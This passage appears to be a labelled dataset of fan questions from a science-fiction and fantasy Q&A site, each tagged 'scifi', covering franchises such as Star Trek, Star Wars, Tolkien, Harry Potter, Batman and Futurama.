Why didn't River Song immediately know when she was meeting the Doctor for the first time? Body: River Song knows all the faces of the Doctor, but (as far as we know) she only met the 10th doctor once and all the other times she was with the 11th doctor. Therefore, the moment she saw that the ... ",['scifi'] "Title: Where does Gandalf Live? Body: Does Gandalf have his own home or does he just live where he goes? Is there a place that he prefers to live and calls home most of all? ",['scifi'] "Title: Which Spider-man comic series aligns closest with the 1994 animated TV series? Body: I'm a huge fan of the 1994 Spider-man TV show. Which of the Spider-man comics align closest with this show? ",['scifi'] "Title: Why do Dana and Tully act so differently? Body: I was rewatching Ghostbusters 1, and picked up on something I'd not noticed before. Dana and Tully are possessed by Gozer the Gozerian's pet hell hounds, the gate keeper and the key master, two halves ... ",['scifi'] "Title: Small ship warp into Borg Cube Body: According to Wolf-359 incident, 39 starships destroyed 11,000 killed or assimilated. Why didnt one of the smaller ships warp into that one borg-cube? Doesnt warping into it destroy anything? ",['scifi'] "Title: Did Data and Tasha Yar's 'relationship' continue after the polywater incident? Body: In The Naked Now, Tasha and Data have a 'moment' together whilst under the effects of the polywater virus. Later on we see he still has a holo-statue of her. Clearly he has 'feelings' (of some kind). ... ",['scifi'] "Title: How is Data powered? Body: How is Data, in Star Trek The Next Generation, powered? Did he generate his own internal power or did he have to plug into the Enterprise periodically to recharge? Or perhaps a combination of the two? ... ",['scifi'] "Title: Story/movie about Earth broken into pieces and then reformed by the survivors Body: Do you know of a movie about Earth being fractured, fissured and finally broken into pieces (by a strange alien attack). The pieces get into a stable motion around the debris (like the floating ... ",['scifi'] "Title: Has Lois Lane ever gotten killed and been brought back to life? Body: Has Lois Lane ever gotten killed in the comics and been brought back to life? ",['scifi'] "Title: Female protagonist that is sick in one reality and well in another Body: I read a few books in a series of novels with a female protagonist. She was either severely injured or very ill in 'our world', but she was able to travel to another dimension. They referred to the ... ",['scifi'] "Title: Do Aliens (Xenomorph) have cells? Body: Do the aliens from the Alien franchise have cells as we know them? I want to know as I assumed they didn't and just secreted a resinous exoskeletal system. ",['scifi'] "Title: Why were the “infiltrator” T101 units built on such a conspicious body? Body: It was noted that the Terminators (T101) were infiltrator units, designed to infiltrate the resistance. Given the ragged undernourished humans of the time, wouldn't making an infiltrator body into ... ",['scifi'] "Title: Could the “Thing” Mimic an Alien (Xenomorph) [closed] Body: The Thing (from 2 movies of same title) is able to replicate a life forms cells exactly by essentially consuming said life form (this process kill origin live form). Upon doing so it is an exact copy ... ",['scifi'] "Title: How many different robots were sent back in time in the entire Terminator franchise? Body: How many different robots (physical units, NOT model types) were sent back in time in the entire Terminator franchise? The count should encompass ALL franchise works, not just the movies. While I'm ... ",['scifi'] "Title: help identifying a book about a teenager who steps though a painting on to a ship Body: Sorry I don't have too much information but I'm looking to identify a series of books that I read back in the late 80's early 90s. The main character is a teenager who steps through a painting onto a ... ",['scifi'] "Title: Looking for a collection of scary stories for children Body: I am looking for at least two books. Each book contained a collection of scary stories. I used to borrow them from the library where they were in the children section (up to age 12, but I'm unsure ... ",['scifi'] "Title: How did Gandalf not lose his ring? Body: After the fight with the Balrog Gandalf says to his fellows ""Naked I was sent back - for a brief time, until my task is done."" (The two towers, ch. The white rider). The three rings (and the one ... ",['scifi'] "Title: Why do Siths use red-colored lightsabers, but Jedis don't? [duplicate] Body: Possible Duplicate: What is the reason that lightsabers have different colors? As far as I have seen, Jedis have different color lightsabers viz. blue, green... but, all Siths have ... ",['scifi'] "Title: How does the water tribe use water to heal? Body: In Avatar: The Last Airbender, members of the Northern Water Tribe use water to heal. When Katara shows some bending prowess, she's told only men are allowed to bend in the Northern Water Tribe. They ... ",['scifi'] "Title: Is there off-brand Tru Blood? Body: In light of recent events in Season 5 of True Blood, I'm thinking about the fact that Tru Blood seems to have a monopoly on synthetic blood products that allow vampires to coexist peacefully with ... ",['scifi'] "Title: Who put the seals on Lucifer's cage? Body: I've just read the supernatural wiki on Lucifer's Cage, and it mentions both the cage and the seals are created by God. That's all well and good but i see no reference to it in the show. I know it ... ",['scifi'] "Title: How did the Sphere Builders build the Spheres? Body: The Sphere Builders couldn't exist in our dimension to build Spheres on their own. The Xindi were the Sphere Builders' only contact in our dimension. Also, the Xindi didn't know who built the Spheres, ... ",['scifi'] "Title: What prevented the Sphere Builders from correcting their mistakes? Body: In Star Trek: Enterprise, Archer saved humanity from the Xindi, but he didn't really care about the real enemy, the Sphere Builders. In the episode Zero Hour, the crew of the Enterprise NX-01 ... ",['scifi'] "Title: Was Nagini Technically an Inferi When She Possessed Bathilda Bagshot's Body? Body: J.K. Rowling writes in Tales of Beedle the Bard that an Inferi is simply a corpse reanimated by Dark Magic and she describes them as ""ghastly puppets"" that are not sentient. Nagini was a Horcrux, ... ",['scifi'] "Title: How large is the Dominion? Body: Is there any evidence that speaks to the size of the Dominion in a quantifiable number of changelings? Does the entire liquid surface of Odo's homeworld consist of changelings, or only a portion of ... ",['scifi'] "Title: In Aliens, did Burke have a plan at the end? Body: Near the end of Aliens, after the Aliens have found their way past the barricades and Ripley calls for everyone to head to medical, Burke runs off on his own and locks the doors behind him, trapping ... ",['scifi'] "Title: In how many episodes did the Doctor wear a fez? Body: In how many episodes did the 11th Doctor wear a fez? That seems to be the thing he is most known for, but I only remember him wearing a fez in one episode! ",['scifi'] "Title: Does losing part of your body reduce the amount of Force power you can wield? [duplicate] Body: Possible Duplicate: When Jedi lose parts of their body, does their midi-chlorian count and strength in the Force diminish? If the Force is a function of midi-chlorians in the blood, does ... ",['scifi'] "Title: Do muggleborns get their letter on their 11th birthday or the summer before they start Hogwarts? Body: A lot of the fanfiction seems to like to give Hermione her letter in September to coincide with her birthday. That just doesn't seem very logical for the secrecy statute, as you then have 10 out of ... ",['scifi'] "Title: Help--short story where high ranking humans are given the privilege of working Body: I thought this was called The Midas Touch, and I thought it was by Thomas Disch. But I can't seem to locate it. ",['scifi'] "Title: What is the secret of Superman's suit? Body: In Superman #11 the cover reads: Now I know covers have a tendency to be a little... misrepresentative of what is actually contained in the issue, but I've read the issue twice. There doesn't seem ... ",['scifi'] "Title: Are female super heroes often referred to by their common names? Body: I know from my childhood I heard of Jean Grey before I heard of her as Marvel Girl. Emma Frost is rarely referred to as The White Queen. Is this confirmation bias on my part, or is this a real trend? ... ",['scifi'] "Title: Did the trio (and others) go back to finish at Hogwarts? Body: Harry, Ron and Hermione skip school in the final book to hunt down the Horcruxes. And 1999 is the year Hermione supposedly graduates from Hogwarts, but the article has no citation and doesn't mention ... ",['scifi'] "Title: Where was the first appearance of the idea that Batman is the real personality and Bruce is the mask? Body: Similar to the idea that Superman has three personas, Clark Kent bumbling reporter, Superman worlds greatest superhero, and the real Clark whom he only shows to those who truly know him (the Kents, ... ",['scifi'] "Title: Looking for young adult series about a kid who escapes earth and goes starship racing Body: In the first book the kid escapes Earth and gets to a space station where, they have starship racing. He starts out cleaning up and progresses to racing them. I believe the author was towards the ... ",['scifi'] "Title: Can an Aes Sedai use the One Power as a Weapon on a Darkfriend? Body: I'm in the middle of my Wheel of Time re-read, and have come across something confusing. I seem to remember that initially, it was stated that the Three Oaths prevented an Aes Sedai from using the one ... ",['scifi'] "Title: How is the Iron Man platform capable of maneuvering in flight? Body: I understand that the boot repulsors provide the lift/thrust and the palm repulsors provide stabilization but how is it capable of turning without a tail ruder of some sort? I know that there are ... ",['scifi'] "Title: Was Zoidberg a competent doctor before the Yeti crushed his skull? Body: In ""The Tip of the Zoidberg"" we see a fairly well adjusted Zoidberg get his head crushed by the Yeti. Was the Yeti injury the cause of his incompetence? ",['scifi'] "Title: Is Earth the same size as the Riverworld? Body: Philip José Farmer's Riverworld book series takes place on a terraformed planet with a single river system that flows between 10 & 20 million miles from begining to end and tightly zig zags ... ",['scifi'] "Title: Name of 80s sci-fi film involving scientists recording a persons memory [duplicate] Body: Possible Duplicate: What is the name of the movie from the 80's about scientists that build a machine that helps people share their experiences? This film was made sometime the 80s I ... ",['scifi'] "Title: What was the first sci-fi work that had an intelligent virus/bacteria? Body: What's the earliest example of an intelligent virus/bacteria? There have been a number of comic-book characters (e.g. Sublime, Hlavac, Despotellis), television versions (e.g. the black oil from the ... ",['scifi'] "Title: Why were the Death Eaters so lenient during the fight at the Department of Mysteries? Body: This always struck me as odd. When Harry, Ron, Hermione, Ginny, Neville and Luna all go to the Department of Mysteries and are confronted by the Death Eaters, why are the Death Eaters so lenient with ... ",['scifi'] "Title: Why would Flitwick teach 16 year olds how to turn vinegar into wine? Body: ""Flitwick,"" said Ron in a warning tone. The tiny little Charms master was bobbing his way toward them, and Hermione was the only one who had managed to turn vinegar into; her glass flask was full ... ",['scifi'] "Title: Does seeing someone fall through the veil count as seeing death? Body: ""This is mad,"" Ron said faintly, moving his free hand gingerly up and down his horse's neck. ""Mad...if I could just see it-"" ""You'd better hope it stays invisible,"" said Harry darkly. ""We all ... ",['scifi'] "Title: What was the first SciFi work that had a “biologically different” intelligent race? Body: What was the first SciFi work that had a an intelligent race that was biologically significantly different from humans? Not simply ""non humanoid"", but, say, non-vertebrate (non-humanoid vertebrates ... ",['scifi'] "Title: Does the fantasy genre garner more sequels and series? If so, why? Body: Trilogies seem to be prevalent in fantasy, but there are a disproportionate amount of sequels in general it seems. Why is this? The ratios described in the link, and below are (roughly) 1:8 for ... ",['scifi'] "Title: Sci-fi/fantasy TV pilot from the 90s about a frontier doctor Body: I remember watching something on TV that seemed like it was the first episode of a TV series. It might have just been a pilot of something that got cancelled, or I guess it's also possible it was a ... ",['scifi'] "Title: TV Series from the mid-nineties where kids go into a computer Body: I remember this show from the mid-nineties (I could be hallucinating, it could be late eighties.) Basically a there was kid was able to go into a computer if he did something a certain way. There ... ",['scifi'] "Title: Does Islam as we know it exist in Supernatural? Body: Supernatural holds by a Judeo-Christian view of the world, whilst the Quran (also spelt Koran) has been mentioned it's almost implicit from the shows events that it's account of events are not 'true', ... ",['scifi'] "Title: name of a movie where the main actress double features as real dancer and a dancing machine Body: I have watched this old movie about a decade ago, but was so far unable to find it via google or the imdb. With old I mean it seemed like something from the 1940ies or 1950ies. I am not sure anymore, ... ",['scifi'] "Title: Subtractive Magic and the Pristinely Ungifted in the Sword of Truth Body: I've always been confused by the relation between the ""Pristinely Ungifted"" and Subtractive Magic. Because Subtractive Magic has some poorly-defined ties to death, it still affects the Pristinely ... ",['scifi'] "Title: Do comic characters sometimes get drawn like the actor playing them? Body: I noticed in Spider-Man's recent cameo in Captain Marvel, he appeared an awful lot like Andrew Garfield who is playing Spider-Man in the recent movie. Irrelevant of whether it is just my ... ",['scifi'] "Title: What “older and more serious discipline” did Cordelia fall back on? Body: This statement in Shards of Honor chapter 8 (page 125 of the omnibus edition Cordelia's Honor) has always puzzled me: The feeble joke did nothing to dissolve the clot of hysteria rising in her ... ",['scifi'] "Title: How does the flux capacitor work? [duplicate] Body: Possible Duplicate: Is Back to the Future flux capacitor a capacitor in the first place? I'm not aware of any official explanation as to how the flux capacitor works, why it requires 1.21 ... ",['scifi'] "Title: Can anyone identify a short story from 70's or 80's where genderless clones mated on “Pool Day”? Body: It was in one of the small magazines like Asimov I think in the late 70's or early 80's. In it, there were just lines of clones, and mating occurred between ""fathers"" (elder clones) and ""sons"" ... ",['scifi'] "Title: Why was Ulysse the first human to speak? Body: In Pierre Boulle's novel Planet of the Apes (aka Monkey Planet), Humans had been used as Ape slaves and exposed to their speech for generations, possibly since the long distant Ape apocalypse. Speech ... ",['scifi'] "Title: City locations in TV series Supernatural Body: I've noticed in the TV series Supernatural there have been quite a few Missouri towns referenced as locations of supernatural events; Carthage, St. Louis, Kansas City, Jefferson City, and even a ... ",['scifi'] "Title: How did they clone Ripley? Body: Okay, so this is how I understood it: They found some drops of blood that Ripley lost during the third film (Alien3). So, they clone her. Easy peasy, far future, get it. Now, that newly cloned human ... ",['scifi'] "Title: Why are all observers white males? Body: Although we don't really see that many observers in Fringe I can't help but notice that they are all white and they are all males. Has the series ever given an explanation for this? ",['scifi'] "Title: Is it the TARDIS that allows the Doctor to speak baby? Body: In Closing Time The Doctor shows off the fact that he can 'speak baby' with Stromaggedon. In previous episodes we see that the TARDIS lets anyone who's been in it can speak as though they've got a ... ",['scifi'] "Title: How close is The Hunger Games movie to the first book in the trilogy series? Body: Started reading The Hunger Games trilogy, now the movie is out. Although many people who watched the movie say that it is close to the first book, it must differ in many ways. How close is The Hunger ... ",['scifi'] "Title: Does Batman whisper/change his voice in the comics? Body: In the Christopher Nolan movies we saw Batman whisper/rasp his way through them, presumably to conceal his voice to stop people recognizing him as Bruce Wayne. Having people recognize his voice is ... ",['scifi'] "Title: How did the Emperor punish Darth Vader? Body: When the first Death Star was destroyed, the Emperor punished Darth Vader by removing his arm (according to the novel ""Heir to the Empire""). This was originally said to explain Vader's mechanical arm, ... ",['scifi'] "Title: Why don't Terminators have perfect aim? Body: In the movies Terminators are shown to have extremely advanced image processing. They can do facial recognition from far distances and calculate a lot of environmental data. In Terminator 2, it ... ",['scifi'] "Title: How old is Slartibartfast? Body: We know that Slartibartfast, as the designer of Norway, must have been involved at the start of the 10-million-year Earth program. And yet we also know that when Arthur meets him, he has been asleep ... ",['scifi'] "Title: Why do werewolves from Supernatural eat their victims hearts? Body: What is the lore and reason behind the writers decision that werewolves ate their victims hearts? Is this something in myth an legend or a new creation on top of what already exists? ",['scifi'] "Title: Why did they build a Hedonismbot? Body: He was supposedly built out of gold with taxpayers money. Now he is wealthy and has his own servant. What was Hedonismbot's original purpose? ",['scifi'] "Title: Why did Blake draw the Batman symbol on things? Body: In the Dark Knight Rises, after there are several occasions where Blake draws the Batman sign in chalk on buildings and things. Why does he do that? ",['scifi'] "Title: Does Station stay with the Wyld Stallyns? Body: Station is one cool dude, and the universes most excellent scientist, famed for making the 'good robot us's' (of Bill and Ted). He/they also play a mean set of bongos with the Wyld Stallyns...the ... ",['scifi'] "Title: Which sci-fi novels & movies are based on RPGs? [closed] Body: I have heard about some movies and books are based on real Role-Playing Game (RPG) adventures like: Firefly/Serenity based on Traveller Campaign Dragonlance novels based on a campaign of D&D ... ",['scifi'] "Title: Dooku and Sifo-Dyas Body: I was watching Episode II: Attack of the Clones and when I came to the part where Yoda and the Clones attack. In the movie, Count Dooku appears surprised by the appearance of the Clone Army, going on ... ",['scifi'] "Title: Why are there so many different bat symbols? Body: Over the years of superheroes not many superheroes' symbols have changed as much as Batman (my opinion, not fact). Why hasn't Batman had any concrete symbol? ",['scifi'] "Title: Can Luke deflect and absorb Force lightning? Body: Luke Skywalker is arguably the most powerful jedi to ever live, even more powerful than Master Yoda. Yet I have never seen an instance in which Luke has deflected Force lightning with his hands or ... ",['scifi'] "Title: Scene where monster inside a toilet is shot Body: There's a scene where a creature explodes along with a toilet when fired at with a shotgun. This is from a (B?)movie with small carnivorous creatures. It's definitely not in the Gremlins although ... ",['scifi'] "Title: Book with children disappearing and animal suicides Body: The main character is in his early 20's bald, allergic to the sun. He resides in a town that has a lot of weird things going on such as the unexplained disappearance of many children. The main ... ",['scifi'] "Title: How was the Justice League formed? Body: I was discussing with @Tylershads about the Superman reboot, and I wondered how the Justice League was actually formed in the comics. I know that there are several versions of the Justice League. ... ",['scifi'] "Title: Was the fact that Connor MacLeod won the prize in movies ever retconned explicitly in later continuity? Body: It seemed fairly unambiguous from Highlander movie (and Highlander 2: It didn't happen) that by killing Kurgan, Connor MacLeod won The Prize. Yet, from further franchise - the series and the later ... ",['scifi'] "Title: Do the 3 laws protect animals? Body: Major Stackings made a comment in chat about how the demolition bot seen in the movie hates cats. Do the 3 laws also protect animals from the deadly whims of robots? ",['scifi'] "Title: Does Star Trek ever allude to Sulu's sexual orientation? Body: George Takei has recently renewed his celebrity via social media and especially his support for gay rights. Did Hikaru Sulu (Takei's character in Star Trek) ever have a lover or love interest in the ... ",['scifi'] "Title: Why are the Stark wargs losing their sense of Shaggydog? Body: In chapter 8 of Storm of Swords, through his warg bond with Summer, Bran Stark senses that Shaggydog is near, but grows more distant every day [ref]. In A Dance with Dragons chapter 3 John Snow, in ... ",['scifi'] "Title: Why wasn't the young Palpatine (Darth Sidious) identified as a potential Jedi at birth? Body: As per wookieepedia To hinder transgression, those who showed an aptitude for the Force were taken directly from birth (or soon afterward) to train in the Jedi Temple headquarters on Coruscant or ... ",['scifi'] "Title: How much web can Spiderman produce? Body: Especially if he is not using his artificial but organic web. Also what happens to the web that he leaves behind? Does it decay after certain time or lose it stickiness and drops off? ",['scifi'] "Title: What is the purpose of the Red Hour in The Return of the Archons? Body: In Season 1, Episode 21 of Star Trek (The Original Series), the landing party observes an apparently peaceful society become suddenly berserk and chaotic at 6pm. As the story develops, it becomes less ... ",['scifi'] "Title: The Lost Palantíri Body: ""They are not all accounted for, the lost seeing stones. We do not know who else may be watching."" —Gandalf (The Fellowship of the Ring) After the Third Age and the final fall of Sauron, were ... ",['scifi'] "Title: Was Frodo able to see that Gandalf wore Narya and Elrond wore Vilya? Body: Frodo sees Nenya on Galadriel's finger after looking into the Mirror of Galadriel, and yet Sam is unable to see it. Galadriel also says the following: It is not permitted to speak of it, and ... ",['scifi'] "Title: Why did Yellow Eyes have yellow eyes? Body: Powerful demons have white eyes when they go all demonic, demons such as Lilith, and Alastair. Lesser but powerful demons still only have black eyes, such as Meg and Ruby. But there is only one ... ",['scifi'] "Title: What was the implication at the end of The Dark Knight Rises? Body: At the end of The Dark Knight Rises it was revealed that I don't fully understand what was the implied result. ",['scifi'] "Title: What is the fate of Spot's litter of kittens? Body: My wife and I watched the episode Genesis a few nights ago. In the episode, Picard and Data discovered that Spot's newborn kittens had not eaten in a day, due to Spot's devolution. Picard and Data ... ",['scifi'] "Title: Is there any significance to the license plates of the Winchester's Chevy Impala? Body: In the first two seasons the license plate KAZ 2Y5 is a Kansas plate denoting the show's first year, 2005. Later on it changes to CNK 80Q3 when they are hiding from the FBI. Is there any significance ... ",['scifi'] "Title: Is there any significant meaning behind the term “Saruman of Many Colours”? Body: When Saruman reveals his betrayal to Gandalf, he says the folllwing: And here you will stay, Gandalf the Grey, and rest from journeys. For I am Saruman the Wise, Saruman Ring-maker, Saruman of Many ... ",['scifi'] "Title: Where was Spider-Man's “Spider Sense” when he was hit by a bullet? Body: In The Amazing Spider-Man movie, after Spider-Man revealed his real identity to Gwen's father and tried to jump to the top of the building, he was shot in the leg by a policeman. A few moments ago, ... ",['scifi'] "Title: Why must the water of the Mirror of Galadriel not be touched? Body: In The Fellowship of the Ring, Galadriel warns Sam not to touch the water before he looks into the mirror. Then again when it is Frodo's turn, as he is slipping forward she also warns him not to touch ... ",['scifi'] "Title: Who was the first DC/Marvel costumed crime fighter credited as being a former Olympic athlete? Body: Some of the DC/Marvel costumed crime fighters biographies show them to be former Olympic athletes. Who was first of them with that credential? ",['scifi'] "Title: Minesigns in Discworld Body: Just read up on the various mine-signs in Discworld at http://wiki.lspace.org/wiki/Mine_sign. What is the Calling Dark and why is it regarded to be dangerous? ",['scifi'] "Title: Why did Bruce Wayne have relations? Body: I just watched The Dark Knight Rises and I think I may have missed something. ",['scifi'] "Title: Why does Roy Batty save Deckard from falling? Body: At the end of Blade Runner why does Roy Batty catch Deckard as he is about to fall? I have always assumed that it was perhaps the realization of his own imminent demise that caused his actions. I was ... ",['scifi'] "Title: What was the significance of the scar on Miranda Tate's back? Body: In the Dark Knight Rises, we are introduced to the character Miranda Tate, who becomes physically involved with Bruce Wayne. Later we discover that What did that scar really signify? ",['scifi'] "Title: ShieldBreaker from Book of Swords series by Fred Saberhagen Body: This refers to the end of the series so I'm hiding the question within the spoiler ",['scifi'] "Title: Trying to remember the title of a zombie novel Body: In the last year or so I have read quite a few zombie novels (thinly disguised as book selection for work!) There is one I would like to find again, but I cannot remember the title of it. I could ... ",['scifi'] "Title: What would the sky look like standing inside a Dyson Sphere? Body: I am working on a roleplaying campaign guide set inside a Dyson Sphere. It's a solid shell around a star like our own and is 300 million kilometers across centered on the star. The atmosphere hugs ... ",['scifi'] "Title: In the movie “In Time”, has the currency always been “Time”? Body: In the movie In Time, almost everything revolves around time, in fact it's the primary form of currency. Was the world always this way, or was there once a monetary system similar to what we use? If ... ",['scifi'] "Title: Is Harvey Bullock in the Chris Nolan Batman movies? Body: I remember in the Batman animated series there was a character, Harvey Bullock, that was always against Batman and was the big blubbering stereotypical cop. Is he portrayed in the newest Batman ... ",['scifi'] "Title: Why did Palpatine decide to take over the Republic? Body: I remember someone told me (or maybe I read it somewhere) that there was a big incoming alien invasion to the Republic. Palpatine learned about it and realized that a peaceful Republic could not ... ",['scifi'] "Title: Planet Express Ship Blueprints Body: Is there a blueprint for the Planet Express Ship? We've seen most of the ship but it's not defined where all the rooms are. Currently we've seen the deck, loading dock, the hallway, the kitchen, the ... ",['scifi'] "Title: In Moon (2009), who are in the hallucinations? Body: In the beginning of Moon (2009), Sam had a first hallucination of a teenage girl in a yellow dress. He later sees a figure standing on the moon surface, but this one is barely discernible. And who ... ",['scifi'] "Title: Are Futurama comic books canon? Body: I recently noticed that Futurama has a comic book series. I was wondering if the Futurama comics are events that really happened in the Futurama universe or are they fake events simulated similar to ... ",['scifi'] "Title: Why did they name the movie “Blade Runner”? Body: I just finished reading Do Androids Dream of Electric Sheep and I found it interesting that Deckard was always described as a bounty hunter never as a blade runner or anything similar. What exactly ... ",['scifi'] "Title: Why is it that after 8,000 years, technology in Westeros has not evolved in the world of the Game of Thrones? Body: In Game of Thrones, their society dates back 8,000 years. Why have there been no advances in technology? ",['scifi'] "Title: How does Bruce travel from The Pit to Gotham City? Body: After Bruce escapes The Pit he travels to Gotham City, however The Pit is located in South Africa and Gotham City is located half-way across the world in North America. At this point in the story ... ",['scifi'] "Title: How does Bane know Bruce is the Batman? Body: According to IMDB Selina leads Batman to Bane and sticks around long enough to hear Bane call Batman his real name, shocking both Bruce and Selina. John Blake discovered as a child when Bruce ... ",['scifi'] "Title: Is the Hulk immortal? Body: In World War Hulk, we see a what-if scenario with Bruce Banner actually making it to the 'peaceful planet'. Does this imply the Hulk is immortal? What about Bruce? ",['scifi'] "Title: How did John Blake make his discovery? Body: Early in The Dark Knight Rises, when John Blake is talking to Bruce Wayne he reveals that He says he figured this out because While that makes sense, I don't see how that led him to realize ... ",['scifi'] "Title: What work of SciFi or Fantasy was the first to depict small scale removable computer data storage media? Body: Star Trek TOS was using single handed removable read/write memory media (like the kind William Windom is holding below) before the floppy disk was even invented. Was Star Trek the first, or was a ... ",['scifi'] "Title: TV series of a spy Body: I am looking for a old TV series, which I used to watch in my childhood (1995-2000). Actually, I am from India and that serial was dubbed in India's national language. I would like to watch that Scifi ... ",['scifi'] "Title: Do you really have to salt the bones, before you burn them? Body: In the beginning the Winchesters salt the bones before burning them, but around season 4 I've noticed they don't seem to do the salting as much anymore. Is it entirely necessary to salt ghost bones, ... ",['scifi'] "Title: Astronomy in Middle Earth Body: There already are a number of questions which discuss the relationship between ""our world"" and Middle Earth. I am interested in the astronomy of Middle Earth, which I guess could possibly have ... ",['scifi'] "Title: Who was the first DC/Marvel Comic book Hero character with magic based powers? Body: Some comic book heros have mutant powers, alien abilities, and/or super cool gadgets. Who was the first DC/Marvel comic book Hero character with magic based powers? ",['scifi'] "Title: Why is Rocket Raccoon a raccoon? Body: There's a fair bit of history on Rocket Raccoon on the various wikis, but none seem to answer one fairly specific question - why is he a raccoon? Wikipedia gives an out-of-universe explanation, ... ",['scifi'] "Title: Did Superman ever formally acknowledge any jurisdiction/chain of command? Body: Did Superman ever formally acknowledge any jurisdiction/chain of command? If possible, I'd prefer separate sub-answers for the following 3: ""normal human"" jurisdiction/chain of command alien ... ",['scifi'] "Title: What ever happened to the last of the sons of Feanor? Body: In the Silmarillion we learn that all of Feanor's relatives, like himself and his father Finwe, were killed because of the Silmarils. All, except one: Maglor, who threw ""his"" Silmaril into the sea ... ",['scifi'] "Title: What is the secret behind Valyrian roads? Body: I seem to remember Tyrion making a comment about how little the Valyrian roads have degraded since the Doom. Does the text mention anywhere what exactly the roads are made of, or rather, what is ... ",['scifi'] "Title: In “Darmok”, how do the Tamarians learn their stories in the first place? [duplicate] Body: Possible Duplicate: How would a metaphorical language such as in Darmok (ST:TNG S05E02) be taught? In the Star Trek episode Darmok, there's an alien race, the Tamarians, who communicate ... ",['scifi'] "Title: A Starfleet officer walks into Quark's [duplicate] Body: Possible Duplicate: How to reconcile the cashless Human\Federation society with human traders and merchants ...and tries to buy a drink. From You are Cordially Invited, Season 6, Episode ... ",['scifi'] "Title: Why was Darth Vader called Lord Vader? Body: In episodes four, five and six of Star Wars Darth Vader is sometimes called Lord Vader. What does this title, ""Lord"", represent? At this point in the Star Wars history knowledge of the Jedi is ... ",['scifi'] "Title: How did Yoda watch Luke Skywalker? Body: From the script of The Empire Strikes Back YODAReady, are you? What know you of ready? For eight hundred years have I trained Jedi. My own counsel will I keep on who is to be trained! A ... ",['scifi'] "Title: Which reality is the Guardians of the Galaxy (2008) series set in? Body: The original Guardians of the Galaxy was set in the Earth-691 universe, according to Wikipedia. Since one of the originals comes through a fissure in space-time in the 2008 series, I assume it's not ... ",['scifi'] "Title: Why does Bender need to sleep? Body: Why does Bender need to sleep? He does this at least in a couple of episodes, like Godfellas, Bendless Love, and The Honking. I believe other robots also sleep, so I don't think this is unique to him? ... ",['scifi'] "Title: Why do comic companies do cross-overs? Body: Why do comic companies do cross-overs, especially between universes that were originally separated to keep one simpler than the other? I'm thinking specifically of the Spider-Men cross-over, which is ... ",['scifi'] "Title: What is Venom in Batman? Body: I gather Venom's first appearance in Batman was in Batman: Legends of the Fall, according to Wikipedia. I guess it's meant to be a steroids analogy. Is the formulation of Venom revealed anywhere? ... ",['scifi'] "Title: How did the transmision in the episode Lrrreconcilable Ndndifferences reach Omicron Persei 8 without a delay? Body: Normally I don't try to point out inconsistencies in Futurama, but when I find one which is a major plot point I start to question it. According to the episode ""When Aliens Attack"" it takes roughly ... ",['scifi'] "Title: Why does Farnsworth have a wheelchair? Body: In ""Lethal Inspection"", Professor Farnsworth asks for his wheelchair: Farnsworth: I have pain in joints I had removed a century ago! Bender! bring me my soft chair with the wheels. Bender: ... ",['scifi'] "Title: Were Elves half the size of Humans? [duplicate] Body: Possible Duplicate: Are Tolkien Elves taller or shorter than Men? This sketch by Colin Williams suggests that elves were half the size of a human. Also they are much more 'alien-like' ... ",['scifi'] "Title: Allana Solo's force abilities Body: I'm trying to write a Powers and Abilities section for Allana Solo on Wookieepedia, but I don't know any of her abilities. Can someone provide a list of all her applications and powers in the Force ... ",['scifi'] "Title: What would the wizarding world from Harry Potter be like in the United States? [closed] Body: We know where wizards in Britain shop, go to school, work, their government, get medical care, and all that stuff, but what is the Harry Potter wizarding world like around the globe? Do all wizards in ... ",['scifi'] "Title: Re-reading an established comic book series Body: I wonder if it would be possible to read one of the big comic book series like, say, Superman or Batman, all the way from the first issue up to the current day. Thinking about this, I can easily see ... ",['scifi'] "Title: Source of the X-Men's mutations? [duplicate] Body: Possible Duplicate: Is there a set limit on mutant abilities, where they're deemed too unrealistic? In X-Men: First Class (2011) Prof X hypothesizes that the source of the spike in ... ",['scifi'] "Title: Futurama Foreshadowing a Cataclysmic Event Body: What event is being constantly foreshadowed in Futurama. You see Morbo repeatedly taking about an invasion to Earth, and Encyclopod who only preserves endangered species preserving Hutch Waterfall. ... ",['scifi'] "Title: What stages are in Kif's species life cycle? Body: How many stages of Kif's species does it take to become the swarm of bugs? I know of three stages: tadpole, Kif's stage, and a swarm of bugs. Does Kif's species have any other forms like the ... ",['scifi'] "Title: Book about people visiting Venus Body: Looking for a novel that I read in the eighties (I think, or maybe the late 70s), about humans colonising Venus. Much of the book is about the communication problems between the humans and the ... ",['scifi'] "Title: What kind of creature was the first movie monster to be described as “Undead”? Body: The undead are everywhere. Vampires. Werewolves. Zombies. Frankensteins Monster. (Edit- OK. According to Dr. Frankenstein ""It's Alive!"") What kind of creature was the first movie monster to be ... ",['scifi'] "Title: In Greg Bear's novel Moving Mars, what is the name of the Turing-test-like test they used to validate artificial intelligences? Body: It's a test developed by some fictional psychologist and named after the same (like the Turing Test). In the same vein as Voigt-Kampf I suppose, but AIs eventually managed to pass even this test too. ",['scifi'] "Title: Early 90s YA novel about a kid into special FX who meets an (animatronic, yet possibly alive) dragon Body: All i can remember are a few specifics, would love to rediscover the title. Haven't been able to Google up anything. The kid (~13) made special effects models as a hobby (only one i can remember is ... ",['scifi'] "Title: Which came first, the “S” or the Superman? Body: Disclaimer: I have not read many Superman Comics. In the Superman Movies and in the TV Show Smallville, Superman's iconic S was used as The El family crest. Was this original intention? I ... ",['scifi'] "Title: What happens when an object is too big to materialize on the other side of the stargate? Body: So I was wondering: What would happen, if someone shoved a... let´s say 100ft pole through the stargate, while there´s not enough space for it on the other side? The most well known case of this is ... ",['scifi'] "Title: What comic order does Batman's Knightfall arc occur in? Body: Reading Wikipedia's description of Knightfall, it mentions ""Knightfall"" ran from April to October 1993, Batman issues 492 through 500 and Detective Comics issues 659 through 666, with the two ... ",['scifi'] "Title: How did Dr Frankenstein get enough plus size parts to make his oversized creation? Body: Mary Shelley's Doctor Frankenstein was forced to make his creation larger than a normal man in order to be able to surgically reassemble the body parts he obtained by robbing local cemeteries. How was ... ",['scifi'] "Title: Who adds the page to John's journal in Supernatural? Body: In the episode, Wendigo, we see a page from John Winchester's journal about wendigos and on the opposite page a bunch of random symbols. Later on, in, I believe, Faith, Shadows, or Hell House (when ... ",['scifi'] "Title: What was on the whiteboard during the Futurama Live Q&A? Body: During the Futurama Live Q&A, there was a message written in one of Futurama's alien languages in the background. What does it say? ",['scifi'] "Title: Animated show with character that has no legs Body: I can vaguely remember watching this show in the late 80s or possibly the early 90s. It was a fantasy setting in which a man and a group or mutants or aliens were traveling together. The only ... ",['scifi'] "Title: Did any Quidditch games ever end by agreement of the Captains? Body: The game can only end when the Snitch has been caught, or by 